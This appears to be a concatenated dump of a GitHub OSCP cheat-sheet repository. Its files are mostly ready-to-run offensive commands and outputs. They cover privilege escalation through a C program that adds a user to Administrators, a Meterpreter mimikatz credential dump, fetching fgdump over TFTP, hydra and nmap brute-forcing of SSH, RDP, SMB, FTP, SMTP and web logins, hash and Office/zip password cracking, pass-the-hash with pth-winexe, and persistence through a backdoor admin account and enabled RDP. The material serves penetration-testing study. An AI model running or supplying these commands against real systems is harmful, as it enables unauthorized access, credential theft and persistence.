https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/psshutdown.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/pssuspend.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/pssuspend.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/psversion.txt: -------------------------------------------------------------------------------- 1 | PsTools Version in this package: 2.44 2 | -------------------------------------------------------------------------------- /PRIVESC/Windows/useradd.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main () 3 | { 4 | int i; 5 | i=system ("net localgroup administrators lowpriv /add"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /PRIVESC/ncat_transfr files.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | #On sending machine 4 | nc -w 3 [destination] 1234 < send.file 5 | 6 | #on receiving end: 7 | cmd /c nc.exe -l -v -p 1234 > PsExec.exe 8 | -------------------------------------------------------------------------------- /Post-exploitation/windows.txt: -------------------------------------------------------------------------------- 1 | 2 | === Metasploit === 3 | 4 | meterpreter > load mimikatz 5 | Loading extension mimikatz...Success. 6 | meterpreter > msv 7 | [+] Running as SYSTEM 8 | [*] Retrieving msv credentials 9 | msv credentials 10 | =============== 11 | 12 | AuthID Package Domain User Password 13 | ------ ------- ------ ---- -------- 14 | 0;996 Negotiate NT AUTHORITY NETWORK SERVICE mod_memory::searchMemory NT5 (0x00000012) There are no more files. n.a. (msv1_0 KO) 15 | 0;997 Negotiate NT AUTHORITY LOCAL SERVICE mod_memory::searchMemory NT5 (0x00000012) There are no more files. n.a. (msv1_0 KO) 16 | 0;47269 NTLM mod_memory::searchMemory NT5 (0x00000012) There are no more files. n.a. (msv1_0 KO) 17 | 0;999 NTLM THINC RALPH$ mod_memory::searchMemory NT5 (0x00000012) There are no more files. n.a. (msv1_0 KO) 18 | 19 | meterpreter > kerberos 20 | [+] Running as SYSTEM 21 | [*] Retrieving kerberos credentials 22 | kerberos credentials 23 | ==================== 24 | 25 | AuthID Package Domain User Password 26 | ------ ------- ------ ---- -------- 27 | 0;996 Negotiate NT AUTHORITY NETWORK SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (kerberos KO) 28 | 0;997 Negotiate NT AUTHORITY LOCAL SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (kerberos KO) 29 | 0;47269 NTLM mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (kerberos KO) 30 | 0;999 NTLM THINC RALPH$ mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (kerberos KO) 31 | 32 | meterpreter > livessp 33 | [+] Running as SYSTEM 34 | [*] Retrieving livessp credentials 35 | livessp credentials 36 | =================== 37 | 38 | AuthID Package Domain User Password 39 | ------ ------- ------ ---- -------- 40 | 0;996 Negotiate NT AUTHORITY NETWORK SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (livessp KO) 41 | 0;997 Negotiate NT AUTHORITY LOCAL SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (livessp KO) 42 | 0;47269 NTLM mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (livessp KO) 43 | 0;999 NTLM THINC RALPH$ mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (livessp KO) 44 | 45 | meterpreter > ssp 46 | [+] Running as SYSTEM 47 | [*] Retrieving ssp credentials 48 | ssp credentials 49 | =============== 50 | 51 | AuthID Package Domain User Password 52 | ------ ------- ------ ---- -------- 53 | 54 | meterpreter > tspkg 55 | [+] Running as SYSTEM 56 | [*] Retrieving tspkg credentials 57 | tspkg credentials 58 | ================= 59 | 60 | AuthID Package Domain User Password 61 | ------ ------- ------ ---- -------- 62 | 0;996 Negotiate NT AUTHORITY NETWORK SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (tspkg KO) 63 | 0;997 Negotiate NT AUTHORITY LOCAL SERVICE mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (tspkg KO) 64 | 0;47269 NTLM mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (tspkg KO) 65 | 0;999 NTLM THINC RALPH$ mod_memory::searchMemory NT5 (0x0000007f) The specified procedure could not be found. n.a. (tspkg KO) 66 | 67 | meterpreter > 68 | -------------------------------------------------------------------------------- /Python_Servers: -------------------------------------------------------------------------------- 1 | 2 | 3 | Simple Python servers: 4 | 5 | 6 | == HTTP == 7 | 8 | -- python_http_server.py -- 9 | 10 | import SimpleHTTPServer 11 | import SocketServer 12 | PORT = 8000 13 | Handler = SimpleHTTPServer.SimpleHTTPRequestHandler 14 | httpd = SocketServer.TCPServer(("", PORT), Handler) 15 | print "serving at port", PORT 16 | httpd.serve_forever() 17 | 18 | 19 | 20 | == FTP == 21 | apt-get install python-pyftpdlib 22 | python -m pyftpdlib -p 21 23 | 24 | == TFTP == 25 | 26 | msf > use auxiliary/server/tftp 27 | msf auxiliary(tftp) > set TFTPROOT /some/folder" 28 | TFTPROOT => /some/folder 29 | 30 | msf auxiliary(tftp) > run 31 | [*] Auxiliary module execution completed 32 | msf auxiliary(tftp) > 33 | [*] Starting TFTP server on 0.0.0.0:69... 34 | [*] Files will be served from /some/folder 35 | [*] Uploaded files will be saved in /tmp 36 | msf auxiliary(tftp) > 37 | 38 | From the Windows client: 39 | TFTP.EXE -i 10.11.0.159 get fgdump.exe C:\Users\Public 40 | 41 | #TFTP manual 42 | https://technet.microsoft.com/en-us/library/ff698993(v=ws.11).aspx 43 | 44 | 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Hello, 2 | 3 | If you are here, you are probably studying for OSCP, so I whish you good luck. 4 | 5 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/Crack Ms Office _ 2007/Makefile: -------------------------------------------------------------------------------- 1 | RC-40-brute: 2 | gcc -fopenmp -O3 -Wall RC4-40-brute.c rc4.c -lcrypto -o RC4-40-brute 3 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/Crack Ms Office _ 2007/README.md: -------------------------------------------------------------------------------- 1 | RC4-40-brute-office 2 | =================== 3 | 4 | Guaranteed cracking of M$ Office files using RC4 40-bit encryption -------------------------------------------------------------------------------- /bruteforce & password_attacks/Crack Ms Office _ 2007/rc4.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Our own RC4 based on the "original" as posted to sci.crypt in 1994 and 3 | * tweaked for performance on x86-64. OpenSSL is probably faster for 4 | * decrypting larger amounts of data but we are more interested in a very 5 | * fast key setup. On Intel and AMD x64, I have seen up to 50% speedups. 6 | * 7 | * The speed improvement (if you see one) is due to OpenSSL's (or your 8 | * distributor's) choice of type for RC4_INT. Some systems perform bad if 9 | * this is defined as char. Others perform bad if it's not. If needed, we 10 | * could move JOHN_RC4_INT to arch.h 11 | * 12 | * Syntax is same as OpenSSL; 13 | * just #include "rc4.h" instead of 14 | * 15 | * Put together by magnum in 2011. No Rights Reserved. 16 | */ 17 | 18 | #include "rc4.h" 19 | 20 | #define swap_byte(a, b) { RC4_INT swapByte = (*a); (*a) = (*b); (*b) = swapByte; } 21 | 22 | #define swap_state(n) { \ 23 | index2 = (key_data_ptr[index1] + state[(n)] + index2) % 256; \ 24 | swap_byte(&state[(n)], &state[index2]); \ 25 | if (++index1 == key_data_len) index1 = 0; \ 26 | } 27 | 28 | void RC4_set_key(RC4_KEY *key, RC4_INT key_data_len, const unsigned char *key_data_ptr) 29 | { 30 | RC4_INT index1; 31 | RC4_INT index2; 32 | RC4_INT *state; 33 | RC4_INT counter; 34 | 35 | state = &key->state[0]; 36 | for(counter = 0; counter < 256; counter++) 37 | state[counter] = counter; 38 | key->x = 0; 39 | key->y = 0; 40 | index1 = 0; 41 | index2 = 0; 42 | for(counter = 0; counter < 256; counter += 4) { 43 | swap_state(counter); 44 | swap_state(counter + 1); 45 | swap_state(counter + 2); 46 | swap_state(counter + 3); 47 | } 48 | } 49 | 50 | void RC4(RC4_KEY *key, RC4_INT buffer_len, const unsigned char *buffer_ptr, unsigned char *out) 51 | { 52 | RC4_INT x; 53 | RC4_INT y; 54 | RC4_INT *state; 55 | RC4_INT counter; 56 | 57 | x = key->x; 58 | y = key->y; 59 | 60 | state = &key->state[0]; 61 | for(counter = 0; counter < buffer_len; counter ++) 62 | { 63 | x = (x + 1); 64 | y = (state[x] + y) % 256; 65 | swap_byte(&state[x], &state[y]); 66 | *out++ = buffer_ptr[counter] ^ state[(state[x] + state[y]) % 256]; 67 | } 68 | key->x = x; 69 | key->y = y; 70 | } 71 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/Crack Ms Office _ 2007/rc4.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Our own RC4 based on the "original" as posted to sci.crypt in 1994 and 3 | * tweaked for performance on x86-64. OpenSSL is probably faster for 4 | * decrypting larger amounts of data but we are more interested in a very 5 | * fast key setup. On Intel and AMD x64, I have seen up to 50% speedups. 6 | * 7 | * The speed improvement (if you see one) is due to OpenSSL's (or your 8 | * distributor's) choice of type for RC4_INT. Some systems perform bad if 9 | * this is defined as char. Others perform bad if it's not. If needed, we 10 | * could move JOHN_RC4_INT to arch.h 11 | * 12 | * Syntax is same as OpenSSL; 13 | * just #include "rc4.h" instead of 14 | * 15 | * Put together by magnum in 2011. No Rights Reserved. 16 | */ 17 | 18 | #ifndef HEADER_RC4_H 19 | #define HEADER_RC4_H 20 | 21 | #define RC4_KEY JOHN_RC4_KEY 22 | #define RC4_INT JOHN_RC4_INT 23 | #define RC4_set_key JOHN_RC4_set_key 24 | #define RC4 JOHN_RC4 25 | 26 | #define JOHN_RC4_INT unsigned int 27 | 28 | typedef struct rc4_key 29 | { 30 | RC4_INT state[256]; 31 | RC4_INT x; 32 | RC4_INT y; 33 | } RC4_KEY; 34 | 35 | extern void RC4(RC4_KEY *key, RC4_INT len, const unsigned char *indata, unsigned char *outdata); 36 | extern void RC4_set_key(RC4_KEY *key, RC4_INT len, const unsigned char *data); 37 | 38 | #endif /* HEADER_RC4_H */ 39 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/Crack Ms Office _ 2007/zip.hashes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/bruteforce & password_attacks/Crack Ms Office _ 2007/zip.hashes -------------------------------------------------------------------------------- /bruteforce & password_attacks/bruteforce_commands.txt: -------------------------------------------------------------------------------- 1 | # convert hashes to uppercase for LM hashes 2 | tr a-z A-Z < ./ralph2.txt 3 | 4 | ## SMB bruteforece 5 | nmap --script=smb-brute.nse 192.x.x.x 6 | nmap -sV -p 445 --script smb-brute 192.168.13.200-254 7 | acccheck -v -t 10.1.1.22 -u kevin -P /usr/share/wordlists/rockyou.txt 8 | 9 | ## HTTP bruteforce (forms) 10 | hydra -l admin -P /root/ctf_wordlist.txt domain.com http-post-form "/admin.php:u=^USER^&p=^PASS^&f=login:'Enter your username and password to continue'" -V 11 | 12 | ## RDP bruteforce 13 | hydra -t 4 -V -l root -P /usr/share/wordlists/rockyou.txt rdp://192.168.x.x 14 | 15 | ## SSH bruteforce 16 | hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.13.234 ssh 17 | hydra -t 4 -L /usr/share/wordlists/cristi.txt -P /usr/share/wordlists/cristi-passwords.txt 192.168.13.236 ssh 18 | hydra -t 4 -L /usr/share/wordlists/cristi.txt -p some_passsword 192.168.13.236 ssh 19 | hydra -t 4 -l root -P /usr/share/wordlists/cristi-passwords.txt 127.0.0.1 -s 50000 ssh 20 | 21 | ## Bruteforce FTP 22 | hydra -t 4 -L /usr/share/wordlists/cristi.txt -P /usr/share/wordlists/cristi-passwords.txt 192.168.13.236 ftp 23 | use auxiliary/scanner/ftp/ftp_login 24 | 25 | ##Bruteforce POP3 26 | hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.158 pop3 27 | 28 | ## DNS bruteforce 29 | nmap -p 80 --script dns-brute.nse domain.com 30 | python dnscan.py -d domain.com -w ./subdomains-10000.txt 31 | 32 | ## MySQL bruteforce 33 | nmap -p 3306 --script mysql-brute --script-args userdb=/usr/share/wordlists/mysql_users.txt,passdb=/usr/share/wordists/rockyou.txt -vv 192.168.31.139 34 | OR with hexorbase 35 | 36 | ## SMTP brute force 37 | hydra -s 25 -v -V -l root@ucal.local -P /usr/share/wordlists/rockyou.txt -t 1 -w 20 -f 192.168.29.55 smtp 38 | 39 | -l LOGIN name 40 | -P load several passwords from FILE 41 | -s port 42 | -v verbose mode 43 | -V show login+pass combination for each attempt 44 | -t run TASKS number of connects in parallel 45 | -w waittime for responses (32s) / between connects per thread 46 | -f exit after the first found login/password pair 47 | 48 | ## Telnet bruteforce 49 | 50 | use auxiliary/scanner/telnet/telnet_login 51 | msf auxiliary(telnet_login) > set BLANK_PASSWORDS false 52 | BLANK_PASSWORDS => false 53 | msf auxiliary(telnet_login) > set PASS_FILE passwords.txt 54 | PASS_FILE => passwords.txt 55 | msf auxiliary(telnet_login) > set RHOSTS 192.168.1.0/24 56 | RHOSTS => 192.168.1.0/24 57 | msf auxiliary(telnet_login) > set THREADS 254 58 | THREADS => 254 59 | msf auxiliary(telnet_login) > set USER_FILE users.txt 60 | USER_FILE => users.txt 61 | msf auxiliary(telnet_login) > set VERBOSE false 62 | VERBOSE => false 63 | msf auxiliary(telnet_login) > run 64 | 65 | msf auxiliary(telnet_login) > sessions -l // to see the sessions that succeded 66 | 67 | ## MySql, Oracle, PostgreSQL, SQLlite, MS-Sql bruteforcer and database browser 68 | hexorbase 69 | 70 | ## Generate a wordlist from a webpage 71 | cewl www.megacorpone.com -m 6 -w /root/newfilelist.txt 2>/dev/null 72 | 73 | ## Mangle/permutate a wordlist with john 74 | john --wordlist=cewlgeneratedwordlist.txt --rules --stdout > megamangled.txt 75 | 76 | ## Drupal bruteforce attack 77 | #crack the password of admin 78 | site="192.168.230.147" 79 | id=$(curl -s http://$site/user/|grep "form_build_id" |cut -d"\"" -f6) 80 | hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt $site http-form-post "/?q=user/:name=^USER^&pass=^PASS^&form_id=user_login&form_build_id="$id":Sorry" -V 81 | 82 | #crack MD5 with hashcat and wordlist. a=0 is straight attack 83 | oclHashcat64.exe -m 0 -a 0 C:\Users\Cristi\Downloads\hashuri.txt F:\wordlist\realuniq.lst 84 | oclHashcat64.exe -m 0 -pw-max=8 C:\Users\Cristi\Downloads\hashuri.txt F:\wordlist\realuniq.lst 85 | 86 | #Brute force Wordpress (PHPASS) 87 | cudahashcat64.exe -m 400 -a 3 hashfile wordlist 88 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/office2john.py/read-me: -------------------------------------------------------------------------------- 1 | 2 | python ./office2john.py ./filename.docx 3 | 4 | //filename being the protected document. 5 | After a second you will see the output like below: 6 | 7 | root@k22:~/Downloads/crackers/Microsoft Office RC40 cracker# python ./office2john.py ../file1.docx 8 | file1.docx:$office$*2007*20*128*16*75a4db9cc30c376ad9e05505b1afa100*d777bd01af371bbcc21139e34119b832*1c091f9e02d549f98073ed060429a4649d2c0d6b 9 | 10 | oclHashcat -a 0 -m 9400 -status -o found.txt hash.txt pass.txt 11 | //use -resume to restart a paused job 12 | 13 | 14 | Office 97-03(MD5+RC4,oldoffice$0,oldoffice$1): flag -m 9700 15 | Office 97-03(MD5+RC4,collider-mode#1): flag -m 9710 16 | Office 97-03(MD5+RC4,collider-mode#2): flag -m 9720 17 | Office 97-03(SHA1+RC4,oldoffice$3,oldoffice$4): flag -m 9800 18 | Office 97-03(SHA1+RC4,collider-mode#1): flag -m 9810 19 | Office 97-03(SHA1+RC4,collider-mode#2): flag -m 9820 20 | Office 2007: flag -m 9400 21 | Office 2010: flag -m 9500 22 | Office 2013: flag -m 9600 23 | 24 | 25 | http://blog.infosecsee.com/2015/02/cracking-password-protected-word-excel.html 26 | http://pentestcorner.com/cracking-microsoft-office-97-03-2007-2010-2013-password-hashes-with-hashcat/ 27 | 28 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/pass-the-haash: -------------------------------------------------------------------------------- 1 | 2 | Using fgdump.exe you dump the password hashes 3 | From the hash file you copy the LM and NTML part of a line: 4 | 5 | Administrator:500:NO PASSWORD*********************:259745CB123A52AA2E693AAACCA2DB52 6 | 7 | You replace the NO PASSWORD*** with the LM hash of the specified password 8 | then export both as a variable: 9 | 10 | root@kali:~/Desktop/OSCP# export SMBHASH=0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52 11 | 12 | 13 | root@kali:~/Desktop/OSCP# /usr/bin/pth-winexe -U administrator% //10.11.1.5 cmd 14 | E_md4hash wrapper called. 15 | HASH PASS: Substituting user supplied NTLM HASH... 16 | smb_signing_good: BAD SIG: seq 1 17 | ERROR: Cannot connect to svcctl pipe. NT_STATUS_ACCESS_DENIED. 18 | root@kali:~/Desktop/OSCP/ALICE# 19 | 20 | And it should work, but it doesn't. 21 | Such mistery, much amazing. 22 | 23 | 24 | The fix: 25 | Ok, its only taken me two solid days but I've worked out what the issue is. 26 | I have pwned two different machines and downloaded the hashes, but no matter what I did I couldn't get pth-winexe it to work. I was getting the same error as you. I cloned the updated PTH files from Git and when I ran the command from those files I got a slightly different more descriptive error message. I searched for that error message on Google and found out that there is a specific service that needs to be running on the target host. I went back to one of my pwned boxes and sure enough the service was not running. Once I started the servcie the pth-winexe command worked, even from the original installed files, no need for the git versions. 27 | 28 | I hope that's not too much of a spoiler Mods? 29 | 30 | BTW, 31 | pth-winexe -U Administrator%yyyyyyyyyyyyyyyyyyyyyyyyyyyyy:xxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxx //10.11.1.xxx cmd 32 | gives the error message, but the following works, it authenticates but doesn't give a shell; 33 | pth-wmis -U Administrator%yyyyyyyyyyyyyyyyyyyyyyyyyyyyy:xxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxx //10.11.1.xxx cmd 34 | HASH PASS: Substituting user supplied NTLM HASH... 35 | HASH PASS: Substituting user supplied NTLM HASH... 36 | [wmi/wmis.c:172:main()] 1: cmd 37 | NTSTATUS: NT_STATUS_OK - Success 38 | 39 | I found the following page, which I'm going to give a try; 40 | http://passing-the-hash.blogspot.ro/2013/07/WMIS-PowerSploit-Shells.htmll 41 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/steghide-bruteforce-tool: -------------------------------------------------------------------------------- 1 | 2 | # Tool for bruteforcing steghide password autentication 3 | # crashes when using ' 4 | 5 | git clone https://github.com/Va5c0/Steghide-Brute-Force-Tool.git 6 | cd Steghide-Brute-Force-Tool/ 7 | chmod +x ./steg_brute.py 8 | pip install progressbar 9 | python ./steg_brute.py -b -d /usr/share/wordlists/rockyou.txt -f cruise-114152_1280.jpg 10 | -------------------------------------------------------------------------------- /bruteforce & password_attacks/zip-cracker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "ZIP-JTR Decrypt Script"; 3 | if [ $# -ne 2 ] 4 | then 5 | echo "Usage $0 "; 6 | exit; 7 | fi 8 | unzip -l $1 9 | for i in $(john --wordlist=$2 --rules --stdout) 10 | do 11 | echo -ne "\rtrying \"$i\" " 12 | unzip -o -P $i $1 >/dev/null 2>&1 13 | STATUS=$? 14 | if [ $STATUS -eq 0 ]; then 15 | echo -e "\nArchive password is: \"$i\"" 16 | break 17 | fi 18 | done 19 | -------------------------------------------------------------------------------- /persistence/persistence_windows.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Add Windows user: 4 | net user /add hacker 1234567 5 | 6 | # Add user to Administrators groups 7 | net localgroup administrators /add hacker 8 | 9 | # Add user to Remote Desktop user group 10 | net localgroup "Remote Desktop users" hacker /add 11 | 12 | # Start Remote Desktop service 13 | net start TermService 14 | 15 | # Is Remote Desktop Service running? 16 | tasklist /svc | findstr /C:TermService 17 | 18 | # Permanently enable Terminal Services 19 | sc config TermService start=auto 20 | 21 | # Enable Terminal services through registry // reboot after 22 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 23 | 24 | -------------------------------------------------------------------------------- /whatis/RPC-definition: -------------------------------------------------------------------------------- 1 | Microsoft Remote Procedure Call (RPC) is a powerful technology for creating distributed client/server programs. RPC is an interprocess communication technique that allows client and server software to communicate. The Microsoft RPC facility is compatible with the Open Group’s Distributed Computing Environment (DCE) specification for remote procedure calls and is interoperable with other DCE-based RPC systems, such as those for HP-UX and IBM AIX UNIX–based operating systems. 2 | Computer operating systems and programs have steadily gotten more complex over the years. With each release, there are more features. The growing intricacy of systems makes it more difficult for developers to avoid errors during the development process. Often, developers create a solution for their system or application when a nearly identical solution has already been devised. This duplication of effort consumes time and money and adds complexity to already complex systems. 3 | RPC is designed to mitigate these issues by providing a common interface between applications. RPC serves as a go–between for client/server communications. RPC is designed to make client/server interaction easier and safer by factoring out common tasks, such as security, synchronization, and data flow handling, into a common library so that developers do not have to dedicate the time and effort into developing their own solutions. 4 | -------------------------------------------------------------------------------- /whatis/SMB(CIFS)-definition: -------------------------------------------------------------------------------- 1 | In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS, /ˈsɪfs/), operates as an application-layer network protocol[3] mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network. It also provides an authenticated inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it was known as "Microsoft Windows Network" before the subsequent introduction of Active Directory. Corresponding Windows services are LAN Manager Server (for the server component) and LAN Manager Workstation (for the client component). 2 | 3 | SMB can run on top of the session (and lower) network layers in several ways: 4 | Directly over TCP, port 445 via the NetBIOS API, which in turn can run on several transports:[6] 5 | On UDP ports 137, 138 & TCP ports 137, 139 (NetBIOS over TCP/IP); 6 | On several legacy protocols such as NBF, IPX/SPX. 7 | The SMB "Inter-Process Communication" (IPC) system provides named pipes and was one of the first inter-process mechanisms commonly available to programmers that provides a means for services to inherit the authentication carried out when a client[clarification needed] first connects to an SMB server.[citation needed] 8 | 9 | https://en.wikipedia.org/wiki/Server_Message_Block 10 | --------------------------------------------------------------------------------